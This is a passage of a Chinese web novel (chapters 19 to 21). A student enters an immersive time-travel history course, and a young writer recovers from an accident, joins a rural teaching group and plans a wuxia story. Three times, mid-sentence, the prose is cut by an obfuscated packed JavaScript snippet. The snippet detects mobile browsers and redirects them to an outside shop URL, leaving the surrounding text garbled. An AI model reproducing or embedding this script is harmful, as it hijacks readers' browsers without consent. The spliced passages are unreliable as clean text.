孟余相关新闻中2036年离世是因为一场突发的自然灾害。而突然变更到2026年离世的新闻中写到他是突发交通事故,而且还是在闹市。 但意外发生之前也是有很多节点组成。 如果死亡是被无数日常推力一点点逼出来的,如果所有关键节点都发生在看似正常的生活里,那么只站在旁边,是永远无法真正理解的。 因为真正起作用的,从来不是大事件。 而是那些一起床就开始的疲惫,被默认应该承受的情绪,一次次自我劝解算了的无奈选择和所有人都说不清的、日复一日的消耗。 这些东西,在观察视角里,永远只是背景。 看一件事情的旁观者。 经历一个事情的当事人。 完全不一样。 很多事情可对当事人来说,它们才是全部。 陈绍宁睁开眼,看着屏幕。 她的手指悬在深度历史课程“提前进入”按钮上,没有立刻按下。 因为她很清楚,这不是一次普通的选课。 深度历史时空课程,意味着实体进入。 意味着不再是观察态,意味着拥有身体、身份、关系,意味着会真正被卷入那个时代的因果链条。 她早就知道这些。 系统在旁边,已经开始自动列出说明: 【深度历史时空课程说明】 允许学员选择时间起点与结束节点,提供基础身份与资金支持,学员将以“当下时空合法存在者”身份进入历史,课程结束后,相关记忆将被封存或抹除,由于历史结果不可被改变,深度历史课程将暂时屏蔽星际时代一切记忆。 所有行为将直接和历史接轨,终端无法使用,系统会主动记录历史课内容但无法主动使用。 最后一行,被标注为加粗警示。 历史结果不可被改变。 她盯着这行字,看了很久。 如果不能改变,那进入的意义是什么? 这个问题,她在脑海里反复问过自己。 答案并不宏大。 拯救和修正是完全不可能的,甚至不是为了证明什么。 而是努力以当事人的视角理解一切。 她想知道孟余每天是怎么起床的,想知道他在没有工作的时候,时间是如何被消耗掉的。 想知道他是从什么时候开始,把期待值调得越来越低。想知道那些没有被记录的日子里,他是怎么活下来的。 这些东西,不存在于数据库里。 也不会出现在观察型课程的可标注节点中。 它们只存在于一个人的生活里,而生活是必须站进去才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【提示:一旦进入,不可中途退出。】 陈绍宁看着这些提示,没有犹豫。 她已经很清楚自己在做什么,她不是去改变历史。 她只是拒绝继续用安全距离,来理解别人的一生。 她按下了确认,屏幕闪烁了一下。 【深度历史时空课程进入课程已提交。】 【等待审批,审批通过后自动进入课程。】 界面暗了下来。 陈绍宁坐在原地,长久地没有动。这可能是她第一次,真正为某一个具体的人做出选择,本心里确实好奇,但她也想知道更多。 被省略的细节,无法被量化的痛苦,知道一个被很多人喜欢却始终不火的人,是如何一步步走到结局的。 窗外,星际校园依旧安静。 说不定明天起床她就已经真的进入自己选择的时代。 这一次她不再是观察型的存在,而是活在其中的人。 她深吸了一口气,在呼吸之间知道这一刻开始,她已经无法再回到原来的位置了。 19.第十九章 费野川最近有点迷茫。 她总是连续做梦,似乎还是一个非常连续的梦境,但是梦境内容具体是什么她也记不清楚了。 大概就是她总在申请什么,然后等着结果? 梦里有一种奇怪的东西,看起来像是科幻电影里的终端,但是梦里她看着那些终端设备没觉得有多奇怪,就好像她本来就是生活在那里一样。 真是奇怪的梦。 ……… 陈绍宁在提交申请后的最初几分钟里,周围的一切都显得过于平静。 终端界面维持在基础待机状态,像是已经完成了它的工作,不再对陈绍宁的选择作出任何评价。 深度历史时空课程,从来不会用情绪去阻止任何人,它只会用信息去提示申请者应该去做什么事情。 果然,在她准备离开终端时,视野边缘亮起了一行新的提示。 【深度历史时空课程 风险确认模块已开启】 看到确认信息,陈绍宁重新坐下。 终端上界面切换成深色背景,字体变得更小更密集,像是一份专门写给她的说明书。 第一行字,异常简洁没有什么修饰词地告诉她深度历史课程的问题,比如实体穿越将导致阶段性或永久性记忆抹除。 陈绍宁盯着这行字,看了很久。 她当然知道这一点,在所有课程介绍里,这都是最醒目也最常被提及的部分。 只有很多次看到这个内容,她才真正意识到,或许这句话并不是抽象的规则。 它指向的是一种将无法记住正在为谁而进入的可能。 系统继续向下展开,陈绍宁也继续往下看去。 【深度历史时空课程的核心原则之一:记住真相,则不可改变;试图改变,则必须失去记忆。因此深度历史课程将对课程进修中封闭原本记忆,你只拥有当时身份的记忆,课程结束后将失去课程期间的记忆,系统会对过程进行整理。】 陈绍宁微微一怔,伦理边界。 她是这样理解的,很多课程涉及到时空的时候都有这个类似的规则,这并不是她第一次看到这段话。 现在她清楚地意识到这是一种因果锁。 如果保留记忆而带来的每一个行动都会带着未来已知的重量。只有失去记忆才能像当事人一样,被时代推着往前走。 系统并不相信带着真相的善意,它默认任何记忆优势,都会变成干预。 所以它选择了最残酷,也最彻底的方式要么看清,要么参与。深度时空历史课程和观察型历史课程中都是不能两者兼得。 陈绍宁往下翻。 【提示二:深度历史时空课程不允许学员成为研究对象本人,学员将以身边人的身份进入历史时间线。】 这一条,被标注为红色。 系统附带了一段解释说明:不可成为被观察对象,是为了避免自我因果闭环。学员若以本人身份进入,将不可避免地产生历史偏移,身边人身份,确保课程仍处于旁观范畴。 “所以这就是很明确的啊,我会被卷入他的生活,却永远无法成为他的人生主线。大家可以一起说话,会被看见,会产生关系,但可我永远不能成为关键变量,毕竟当事人才算是关键变量。” “所以身份要怎么选?” 陈绍宁翻看着屏幕, 系统继续列出了可选身份类型: 同事、朋友、项目参与者、生活边缘关系者 每一个选项后面,都标注着干预风险等级 最低的是生活边缘关系者 陈绍宁的视线停在这里,她忽然明白了系统的逻辑。深度历史课不是为了让谁拯救谁,而是在不被赋予拯救权力的前提下,承受真实的共处。 她继续往下。 【提示三:深度历史时空课程存在时间线限制。 课程将自动嵌入既有历史节点,学员无法跳跃关键时间段,课程终止条件为历史自然结束或风险阈值触发。】 她看到这里,心口微微一紧。系统并没有写明什么是风险阈值,但是知道孟余的事情,陈绍宁觉得这个事情似乎有点困难。 但她隐约明白深度历史体验课程中,她是无法完全看到真相的,还是说她情绪认知或行为偏移过大,课程就会被强制中断。 系统不会让任何人用自己的崩溃去换取理解。 接下来,界面切换到了一个新的模块。 【深度历史时空课程既往案例参考】 这是她之前从未点开过的部分,她犹豫了一下,还是选择了查看。 画面展开没有影像,只有一条条被压缩过的记录。 案例 A 研究对象为二十二世纪能源事故相关从业者。学员进入时间为事故前五年,课程结束后,学员无法回忆研究对象姓名,但长期保留夜间警报声的听觉残留 案例 B 研究对象为旧时代娱乐行业边缘艺人 学员身份为临时合作人员,课程结束后,学员遗忘所有具体事件,但在听到特定旋律时,产生强烈悲伤反应。 案例 C 研究对象为早期劳动组织成员,学员进入后尝试多次善意提醒,触发干预风险阈值。课程被提前终止,学员记忆保留率下降百分比过高。 陈绍宁一条条看下去,她发现一个共同点,所有完成课程的学员,都失去了故事。 他们记不得名字,记不得情节记不得因果,可他们保留了某种无法解释的情绪残留。 恐惧,悲伤,疲惫。 以及一种对某些结局的本能回避。 系统在案例末尾,用极其冷静的语气总结,深度历史时空课程不提供完整记忆只提供真实体验。陈绍宁忽然意识到,这才是课程真正的目的。 不是让人记住历史而是让人无法轻易否认历史的重量。 她继续往下。 【补充说明:学员在课程期间,将逐步失去未来参照系,学员将不再拥有对历史结局的明确认知,所有行为将基于当下信息与情感反应。】 “这也挺好的,不然保留着现在星际时代的记忆也不见得是个好事情。” 陈绍宁明白这个道理,她也知道自己很长时间里都不再知道孟余的结局,她会像他身边的任何一个普通人一样,不知道未来,不知道终点,不知道哪一天会成为分界线。 她甚至可能会在某个时刻对他说:“以后会好的。” 但根本不知道这句话有什么意义,也不自知这句话的重量。 系统最后弹出了一行确认文字。 【请再次确认你理解并接受以下后果—— 你将遗忘研究对象,你将无法带走完整真相,你将无法改变既定结果,你将承担真实关系带来的情绪影响 】 界面停在这里,选择时间蛮长的,系统不会对此进行强制确认,它在等谁自己按下那个键。 陈绍宁坐在终端前第一次感到一种真正意义上的犹豫。她同样意识到,这不是一次了解更多而是一种交换。 陈绍宁将用记忆去换取靠近,用确定性去换取真实,用知道为什么去换取曾经在场。 她忽然想起孟余。 想起他那条没有断裂却不断被忽视的努力曲线。 如果她真的进入他的生活,如果她真的陪他走过某一段时间,如果她真的在他身边,像所有普通人一样那么在课程结束后,她或许可能不记得自己曾经为什么会为这个名字停下来。 这个代价,远比她最初想象的要大。 她深吸了一口气,然后伸出手,在确认键亮起的那一刻,她没有再去看任何说明。因为她已经知道,自己真正要面对的不是系统。而是在明知会忘记的前提下,仍然选择走进去,她按下了确认界面暗下。 ……… “你不是要跟我讲你的梦?” 大早上,在医院醒来的费野接了电话,她看了眼时间。 2019年3月7日。 利川市天气也挺好的,医院的病房区来来往往都是人,不方便接电话的状态下费野就听了一句便挂了电话。 她的手拿着手机飞快的速度打字来,直到医生来了她才猛然抬头。 “你这刚车祸脑袋还没有恢复,有点轻微脑震荡。” 医生拿着记录册过来,费野就跟着医生的提问挨个去回答而已。她没有再关注医生的其他提问,双眼看着窗外还在想自己那个光怪陆离的梦,直到医生喊了她名字很多次,她才回过神来看着医生,弯了弯嘴角,“我记着了,谢谢医生。” 而后费野一直看着窗外,天气看着有点阴天,远处的云雾朦胧,让她迟迟没办法从梦境的回忆里走出。 但梦本身就不会被人记的有多深多久,基本等费野出院之后就完全忘记了。 作为费野的好朋友,冉菲菲在视频里看着她忍不住叮嘱起来,“ 你下次骑车注意点,怎么会骑车的路上还直接摔了。” 冉菲菲去交警队查了监控,反正她没直接看到,但对方告诉她,费野是被迫往右急转,车轮打滑,整个人连车一起摔向路边。 自行车侧翻在马路牙子旁,当时路况上是为了躲车,但是人和车的距离还是有些遥远的,主要还是人低血糖又有点晕血,摔倒的时候磕出来的脑震荡…… 听着确实是有点可怜…… 更可怜的是,费野不知道怎么回事,满脑子都是在想她那个奇怪的梦境,就算是记不清楚什么细节了也一直在思考这个。 没什么必要,反正朋友们都是这样说的。 冉菲菲的消息接连不断的发来,总结下来都是叮嘱她,“照顾好自己,最近先请假吧。等病好了再去支教也可以。” “好的,我的好友。” 随后,费野看着手机里申请的支教活动,怎么看都赶不上这一批,只能等着下一批再去了。医院走廊的嘈杂声很快平息,医生出去之后只剩下几个躺在床上的病人。 有的人还挺有心情,跟着别人聊天。而费野看手机时间长了都会觉得难受,干脆就不再管这些事情了。 头晕脑胀的,休息休息吧 费野躺在床上,她闭目养神一样地,脑袋里回想起最近的事情。突然的车祸让她觉得有点可怜。 后面的很多事情都要被延后,她把很多事情安排出来,脑海里试图去盘点思考着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259048|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的时间线去发展。 支教要去贵州或者云南,时间是暑假,但是具体的地方还没有确定,总归很明确的可以知道,自己要去的地方非常的偏僻,信息闭塞,估计也难找到合适的…… 嗯?需要找到什么合适的? 费野想到这,忍不住皱眉,总觉得自己忘记了什么。但似乎忘记的东西也不是很重要。 京城大学的大四学生冉菲菲带着吃的往医院赶去,她走在路上不停的跟导员解释发生的事情,然后眼神还要继续在周围找路去找费野,“怎么还出车祸了,真是让人担心。最近也没有什么好事情,喜欢的明星也不知道怎么回事没有活动,自己的朋友还出车祸了,这到底什么事情呢?” 医院的人很多,住院部在急诊的后边,冉菲菲绕路一大圈终于到了地方,眼看着到了二楼到处寻找着各种地方,从门口就看着费野躺在那一脸生无可恋的表情。 “不是?你现在还难受啊?” “难受……” 听到冉菲菲的声音,费野的眼神转过来,两眼暗淡地看着冉菲菲嘴巴也跟着瘪了下去。 “那在休息休息,等好了再回学校吧,我帮你跟导员请假了。需要跟你父母说一下吗? ” 冉菲菲拿着椅子坐在边上,连续给了好多个建议,“我之前去交警队查了,但开车那人是谁暂时还没查出来。” “不知道是谁,反正我觉得自己好可怜啊。” 费野的神色也不怎么自然,虽然看起来只是个突然发生的意外,但是费野觉得或许其中有什么隐情。 “什么隐情?悬疑小说啊?你最近是写小说写呆了吗?” 冉菲菲对于费野说的有点不置可否,但联想到她是个小有名气的作者,忍不住笑起来,倒是觉得她在其中肯定是想的有点太多了。 “说不定这么着急开走的车就是着急去做什么事情,比如说拦住一个不受管的明星?或者是去追自己要被分手的女友?反正大家都有自己的故事。” 费野一直说出来各种猜测,冉菲菲听着也没有再继续反驳她。 “你先休息吧,我还要去一场面试,等我晚点回来再照顾你,晚上想吃什么?我到时候给你带来。” “我想吃皮蛋瘦肉粥!还有包子!” “你这是吃早饭啊?” “嗯,早饭没吃,补上来。” “行,晚上见。” 冉菲菲很快起身,把椅子折叠好放在床下便离开了。费野拿出手机,翻看着自己的账号,完全没有什么查看她内容的人。 她的笔名叫鹿野荒川,不知道是不是太荒凉了,看她写内容的人也不多,绿泡泡公众号上连载的文章也没有什么人看,她都觉得自己没什么写的必要了。 但想到自己最初做这个账号的初衷,她又觉得自己还是再坚持坚持比较好。 什么事情都要坚持才有结果吧。 虽然看不到什么时候成功。 费野叹了口气,而现在的这几分钟,她还是闭目养神假装休息睡觉最好了。 “现在这世道有点难,你说怎么还有人吃不上饭?音符上拍的那些视频都是真的吗?每次看到这些就觉得难过。” 费野身边病床上,住院的人一直在刷视频,不知道看到了什么突然自言自语起来,费野听了半句话,对方也没有继续说下去。 发生了什么事情? 费野心里猜测,但是也只是翻个身。蓝星华夏地广物博的,时间越长地域发展的变化越大,部分地区偏僻,信息不发达,经济效益不好,这些都是不可避免的现实情况。 但知道归知道,她自己刷到类似的视频也会跟着心里难受。 所以跟他一样的人,只要经济实力足够,就会有很多人做公益内容,按照冉菲菲说的她喜欢的偶像也是一样非常热心于公益的人。 叫什么? 好像是孟余吧? 但是费野不是很了解他,也不知道孟余做了什么公益,想到这她给冉菲菲发了消息问这个事情,大概是对这个事情也感到好奇。 冉菲菲:【这你就不知道了,孟余的公益活动从他刚入行就开始了,而且他真心在做这个事情,自己从来没有主动去宣传过。】 费野:【所以,他到底做了什么?】 冉菲菲:【很多,我直接找一下发给你,但话说回来你怎么突然对这个这么好奇?】 费野:【突然想到这么多人做公益为什么还是有很多人很贫穷贫困,甚至很多地方也很贫困。然后就想到你喜欢的艺人也喜欢做公益来着,好奇他都会干什么。】 很快冉菲菲的信息发过来,费野打开内容,单眯着一只眼看起来,这样就算玩手机也不会难受。密密麻麻的公益活动从他出道的时候就开始了,距今也有四五年了。 “这么多公益活动?看起来挺多的。” 费野心里其实想说的不是这个,反而她有些难受,大概是知道公益活动越多也意味着这个世界上受苦的人也多。 好人会悲天悯人,而有的人只想用公益做掩盖。 孟余是什么人? 费野没有答案,但是她觉得对于不熟悉的人,还是论迹不论心。 20.第二十章 冉菲菲发的信息还挺长,费野前后翻看了很多信息,收到捐款的地方有很多。 “山田的自闭症基金会感谢孟余的捐款,齐州出水灾的时候也捐款,连续八年资助西部儿童助学计划,基本两三百名学生得到了他的帮助。还有 建公益图书馆,资助特殊教育给听障孩子买耳蜗电池。” 费野认认真真看完,很快收到冉菲菲发的其他信息,孟余的路透照片,说是他带着的皮带用了5年,就算掉皮了还在系。 “这么节俭啊?” 费野的回复还没有打完,就看到绿泡泡里弹出来的新的信息。 费野点进去,是自己报名的支教活动,对方私发群邀请,点开却看见支教项目群邀请。 她愣了一秒,有点好奇自己怎么被拉入其中,再继续点进去,费野发现是一个刚刚建立不久的群聊,名字简单—— 【第二批西南山区支教志愿名单】 群成员三十七人,头像大多普通,像是一些风景照片,证件照,卡通人物。费野的目光却停在其中一个头像上。 一只灰白色的猫抱着海绵宝宝。 猫的眼睛半眯着,表情带着一点无辜又有点倔强,她手指停住,刚想要点开对方的账号看看这个头像。 很快,群里已经有人在说话。 “大家好,我是语文岗志愿者。” “我负责美术和音乐。” “有没有人会拍摄记录?我们需要素材整理。” 有人发了山区的照片,学校操场是泥地,远处是层层叠叠的山,群里短暂安静了一下。 费野盯着那个猫抱海绵宝宝的头像。 她点开头像,昵称很简单就是一个孟字,地区写的利川,个性签名只有一句话写着慢慢来。 费野没有立刻发言,只是安静地往上翻聊天记录。 有人问:“条件是不是很苦?” 那个猫头像的人回复:“苦是苦一点,但小朋友笑起来的时候就会觉得自己做的事情挺值的。” 简简单单一句话,没有煽情。 费野盯着那句话看了很久。 夜色安静,医院窗外的风吹过绿植,虽然不知道这个人是谁,但是费野觉得这个人会是很好的合作对象。 看着这个昵称是孟的人在群里备注是还负责一些志愿者引导的事情,费野连忙添加对方。 发了添加申请过去,但是没有那么快通过内容,费野把手机放下,整个人脑海里都是刚才群里发的内容。 层层叠叠的山在远方,费野感觉自己闭眼之后,似乎就能看到即将见到的山。 山的那头,孟余坐在一张木桌前,窗外是山风带着凉意。 支教的地方比他想象中更偏远。 车开了七个小时,最后一段山路坑坑洼洼,手机信号断断续续。学校不大,两栋教学楼,一块泥土地操场,围墙边种着几棵还没长高的树。 第一天到的时候,小朋友们站在教室门口好奇地看他。 “你是新老师吗?” “你从城里来的吗?” “你会讲故事吗?” 他笑着点头:“会一点。” 教室的窗户有几块玻璃是旧的,光照进来时会带一点朦胧的影子。黑板边角已经磨得发亮,粉笔灰落在讲台上。 他负责的是音乐和美术课。 第一节课,他没有急着讲内容,而是让孩子们画自己想去的地方。 有的画大海,有的画城市,有的画飞船。 他蹲在课桌旁,一张一张看。 “这个是哪里?” “广州。” “你去过吗?” “没有,但我想去。” 他笑着说:“那你以后带我去。” 孩子认真点头。 支教的日子并不轻松。 水要提前烧,夜里山风大,宿舍窗框会轻轻晃。食堂的菜简单,但大家都吃得干净。他晚上会坐在操场边,看远处的山线一点点被夜色吞没。 手机信号偶尔恢复,他会回几条消息。 群里有人问:“孟老师,你那边情况怎么样?” 他打字:“今天教他们写愿望,有个小孩说想当宇航员。”发完他又补了一句:“挺可爱的。” 其实他知道,成为宇航员对这里的孩子来说,概率微乎其微,但他没说并且愿意相信孩子们能完成自己的心愿。 他记得有一天,一个小女孩放学后没走,她坐在教室最后一排,低着头。 “怎么不回家?”他问。 “我妈妈去外地打工了。”她说,“我不想回去。” 孟余沉默了一下,坐在她旁边。 “那我们多坐一会儿。” 他们就那样坐着,夕阳从窗外慢慢落下。他没有说大道理,只是陪着。 夜里,他在群里看见新成员加入,那个头像是默认星空背景的人没有发言,他没太在意,只是把手机放在枕边。 山里的夜很安静,没有城市的车声,只有虫鸣。 他望着天花板,想起自己拍戏时的灯光和嘈杂,这里没有聚光灯,也没有掌声。 但孩子们喊他孟老师的时候,他心里很安静。 第二天早上,操场上起雾。 孩子们跑着过来,围着他说:“老师今天讲什么?” 他笑着说:“讲故事。” 孟余也不知道自己什么时候就要回去,回到那个复杂的行业。可至少这段时间,他可以只做一件事把时间给人。 群聊里忽然弹出一条消息,那个默认头像的人第一次说话: “大家好,我是费野,我将参加第二批的支教活动,期待和大家见面。” 孟余低头看了一眼,山风从窗外吹进来。 新的一批的志愿者正在靠近,期待这里的孩子走出山里,最后在自己想去的地方找到自己想做的事情。 有好友添加的申请? 孟余点开看看,就是那个头像是默认头像的志愿者,昵称是荒野,想到自己要给第二批志愿者引导,他很快就通过了对方的请求。 孟余:【您好,我负责第二批志愿者的引导,您叫我孟老师就好,怎么称呼您比较好?】 费野:【孟老师好,我姓费,您方便就称呼我费老师就行。】 费野看着手机,她觉得对方不想暴露名字,那她也就不问了,直接也只告诉姓就可以了,费老师,费老师… 她心里默默念着,没想到自己有一天还能成为一名老师。但她自己确实很喜欢这个活动,但是自己也不知道能给孩子们带来什么。 志愿者服务的学校里除了当地的孩子也有一些福利院的孩子,费野不知道自己能不能很好的跟大家交流,孩子们年年看志愿者老师来了去去了来的,每年被不同的人教学不同的内容… 这需要孩子们有很强的适应能力,但这个问题也不是费野能解决的。 “或许,孩子们生活的环境注定了要有极强的适应能力了。” 费野把手机塞回床铺下,整个人躺在床上,睁开眼是医院的旋转风扇,闭上眼又想起来那些群山,来来回回的,人在虚拟和现实里来回穿梭。 很快她睡着了,梦里好像又是一个神奇的世界,各种科幻电影里才会出现的情景,但很快她就回到一种半睡半醒的状态,很快就不会再记得梦里的故事了。 费野很快出院了,出院那天天色有点灰,她站在医院门口心情也莫名其妙跟着有点低落。 医院门口的梧桐树刚抽新叶,风一吹就发出很轻的沙沙声。她拎着不算重的行李袋,站在门口等车。手机屏幕亮着,几条同学发来的消息停在最上面。 “你什么时候回宿舍?” “医生怎么说?” 她深吸了一口气,回了一句:“今天下午到。” 车在校门口停下时,正是下课时间。学生三三两两从教学楼出来,手里拿着书或者外卖。校园里的广播在放音乐,声音不大,像是怕打扰谁。 她拖着行李走进宿舍楼。 楼道里一股熟悉的洗衣粉味,夹杂着刚泡开的方便面香。有人在走廊尽头晾衣服,衣架轻轻碰撞。 冉菲菲第一个冲出来。 “你可算回来了!”她一把抱住费野,力道不轻,“医生说没事吧?” “没事,就是休息。”费野笑了一下。 宿舍还是原来的样子,四张床上铺下桌,墙上贴着演唱会海报。她的桌面被冉菲菲收拾得整整齐齐,连水杯都洗干净放好。 “你不在的时候,我帮你去上了好几节课,笔记整理完在你桌上。”冉菲菲说着,又压低声音,“不过这不是重点。” 她眼睛亮得不像话。 “我找到实习了!” “这么快?”费野把包放下。 “广告公司!”冉菲菲几乎要跳起来,“听说是那种能接品牌项目、能对接剧组的广告公司!”她说这话的时候,语气里全是兴奋,“我跟你说,他们最近在对接一个电视剧项目,我要负责跟剧组对接物料!你知道这意味着什么吗?” “意味着你要天天加班。”费野故意逗她。 “意味着我可以公费追星了!”冉菲菲压着声音尖叫,“只要项目合作顺利,我就能进组!近距离看演员!” 她抓着费野的手臂晃:“你不觉得很爽吗?别人花钱追线下,我是公司派我去的!” 陈绍宁被她逗笑。 “那要不要庆祝一下?”她问。 “当然要!”冉菲菲已经拿起手机,“我请朋友周三三喝奶茶,他这几天帮我改简历改到凌晨。” 十分钟后,三个人在校门口那家奶茶店排队。 店里人很多,学生挤在柜台前讨论甜度。周三三戴着黑框眼镜,拿着手机算账:“你这个月生活费够吗?” “够够够,”冉菲菲挥手,“这杯算我庆祝。” 她接过奶茶的时候,表情认真又郑重,像在举杯。 “祝我以后能在片场见到喜欢的演员!” 费野笑着摇头:“别到时候忙得没空看。” “那也是值的。”冉菲菲吸了一大口奶茶,“起码离梦想近一点。” 费野站在旁边,看着她发光的样子,心里有种说不出的复杂。 周三三拿了奶茶,几人去散步之后回到宿舍楼时,天已经暗下来。 楼道灯光有点昏黄,她们刚走到门口,隔壁宿舍传来断断续续的哭声,完全压不住的带着崩溃的哭。 冉菲菲和费野个人对视了一眼。 “怎么了?”冉菲菲皱眉。 门没关紧,能听见里面有人在安慰。 “别哭了……” “算了吧,下次别信这种人。” 哭声断断续续。 “我明明交钱了……他说能带我进去的……”女生声音沙哑,“我等了一下午……他人就不见了……” 费野心口一紧,她听见对方抽噎着说:“我就是想看他一眼……我没想干嘛……我就是想看他一眼……” 冉菲菲站在门口,表情有点僵。 “现在还有这种骗子?”费野低声说。 “很多。”陈绍宁下意识回答。 隔壁宿舍门里,哭声还在继续。 “他说是剧组的人……我转了钱,他就拉黑我了……”那声音带着懊恼委屈,还有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263707|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自责,“我是不是太傻了……” 冉菲菲握着奶茶杯的手慢慢收紧。 “我以后要是真进组了,”她突然小声说,“我肯定不让这种事发生。” 费野看着她。 “你能管吗?” “不能全管。”冉菲菲叹气,“但至少我不会骗。” 隔壁哭声渐渐小了一点,变成低低的啜泣。 宿舍走廊恢复安静,只剩风扇转动的声音。 费野回到自己的床边坐下,奶茶已经不那么甜了。一个人在为能公费进组兴奋,一个人在为花钱却见不到人崩溃。 同样是追星,差距却像两条平行线。费野觉得所谓梦想喜欢,还有机会,都是被不同位置的人以不同方式握在手里。 有人握得住,有人握不住,她躺在床上,盯着天花板。外面楼道传来轻轻的脚步声,2019年的夏夜闷热而真实。 每个人身上都有着不同的故事在发生。 …… 故事不只是出现在现实,作者也会自己写故事。 因此费野坐在电脑前已经快一个小时了,最近的新作品还没有出,完全是困在大纲还没有定下来的节奏。 屏幕亮着,文档是空白的,光标在第一行左上角一闪一闪,像在不耐烦地提醒自己该写点什么。 窗外空气闷得发粘,旧空调在头顶转,发出不太规律的嗡嗡声。隔壁宿舍有人在打电话,笑声断断续续传过来。 她的公众号后台开着。 名字是鹿野荒川。 这几年,她断断续续在上面写过一些短篇,有校园,有都市,也有一点轻科幻。读者不算多,但每次更新,都会有人在留言区说等你下一篇。 最近她突然很想写武侠。 不是那种江湖恩怨,刀光剑影的爽文,而是更偏一点规则与选择的故事。 可问题是她不知道要写什么。 她盯着屏幕,脑子里只有一些零散的画面。 一个人站在棋盘前,一个人明知会输,还是把棋子落下去。 她揉了揉太阳穴。 “武侠到底是什么?”她小声自问。 是武功高强吗? 是快意恩仇吗? 还是在明知道局势对自己不利的情况下,仍然选择站出来? 她打开搜索又关掉,这些问题不是资料能给答案的。 她往后一仰,椅子发出轻微的吱呀声。桌上堆着几本书,都是武侠小说,古龙的作品,温瑞安的作品,还有金庸的作品压在最下面,上面摊着一本笔记,上面是写了一半的大纲,还没有继续推着写内容。 她忽然觉得自己脑子里有两套系统在打架。 一套在讲规则,一套在讲情义。 没有结果。 费野起身去冲饮料。 宿舍的小电热壶刚烧开水,水汽升腾。她撕开一包速溶咖啡,又想了想换成了冲泡型可可。 杯子里粉末被热水一点点化开,她拿着勺子慢慢搅。 “如果是武侠,”她盯着杯子里的旋涡,“主角一定要赢吗?” 水面晃动,像一个没有答案的问题。她想到那些古早武侠里常见的桥段,明知皇权不可撼动,却还是直言进谏的书生。 明知对手势力滔天,却还是不肯低头的剑客。 他们很多时候并没有赢,甚至结局是死。 可他们的存在本身,改变了某种秩序。 费野把杯子端回桌前,重新坐下。 电脑屏幕还是空白。 她深吸了一口气,敲下第一行字: 以身入局,胜天半子。 打完这八个字,她停住。 她知道这不是完整的句子,更像是一种宣言。 以身入局不是站在旁边评论,而是自己走进棋盘,把自己当棋子,做一些没人能看懂的行为,只为了一个他想要的正义。 胜天半子,费野是认为这意味着不一定赢下整盘棋,只要改变一点点局势,最后能得到好的结局就好,但入局的人未必能全身而退。 她盯着这句话看了很久。 然后又敲下第二行,规则正义,结果正义。 她敲完,手指悬在键盘上。 规则正义,意味着过程干净。 结果正义,意味着最后的世界更好。 可如果规则本身不公呢?如果按照既定规则永远赢不了呢?如果使用规则的人已经达不到规则定制时的要求呢? 那主角该怎么做? 费野突然明白,自己想写的不是传统江湖,而是一个关于选择的故事。一个人在不公平的规则里,是顺从规则,还是打破规则?如果打破规则,是不是就失去了正义?而谁有那个能力去定义正义呢? 她靠在椅背上,脑子却比刚才清醒。 窗外有人经过,学校楼下的音响放着流行歌,一个很普通的夜晚,费野已经有了些想法,她的脑子里已经有了模糊的轮廓—— 一个朝廷棋局,一场必输的对弈,一个人明知自己会成为弃子,却仍然落子。 她盯着屏幕上的两行字。 没有剧情,没有人物,只有两个命题。但她知道,故事会从这里长出来,光标在第二行末尾闪烁。 费野忽然笑了一下,“慢慢来。”她低声说。 鹿野荒川的后台提示音轻轻响了一下,是读者留言。 “老师最近还更新吗?” 她关掉后台,重新看向自己打的那两句话。 以身入局,胜天半子 规则正义,还是结果正义。 这一个故事里的武侠最初没有定义为打打杀杀而是人站在局中的样子。 21.第二十一章 “好烦… 没有灵感… ” 费野单手撑着下巴,双眼无神的看着电脑。 头顶的灯有点偏黄,照在桌面上显得纸张更苍白。 费野抱着膝盖坐在椅子上,电脑屏幕开着文档,光标一闪一闪,像在嘲笑她的迟疑。 桌上摆着半盒凉掉的麻辣香锅,油已经凝成薄薄一层,辣椒浮在表面。 奶茶杯底还剩一点甜腻的珍珠,她刚刚吸了两口,又放下,嫌太甜。 隔壁宿舍有人在笑,走廊里拖鞋啪嗒啪嗒地响。 屏幕上是角色设定,一个叫沈观的角色,来自于江湖武林的高手,接了一单来自朝廷的订单,沈观应要求去杀掉那个刺杀了朝廷大官的女侠客。 她盯着屏幕,小声嘟囔:“到底让不让他死……” 手指敲了两行又删掉。 关于人物关系和结局,她还没有特别明确的想法,只是写到一半改了挺多次。 最开始写敲下他低头又觉得太俗。 然后敲下他不肯退又觉得太直白。 费野往后一仰,椅子轻轻晃动。伸手抓了抓头发,发尾有点油,她也懒得去洗。 “要不要再残忍一点?”她对着空气问。 没有人回答,她低头扒了一口已经凉掉的饭,嚼得很慢。辣味后知后觉地冲上来,她咳了一声。 “写武侠怎么比写论文还难……”她嘟囔。 窗外夜色很深,宿舍楼下偶尔传来电动车的声音。她重新坐直,把奶茶推远一点,手指重新落在键盘上。 “以身入局……”她轻声念了一遍,然后叹气。 头疼头疼,她不知道下一句该落在哪里。 很快宿舍门被推开的时候,外卖袋子的塑料声先一步传进来。 “我回来了——” 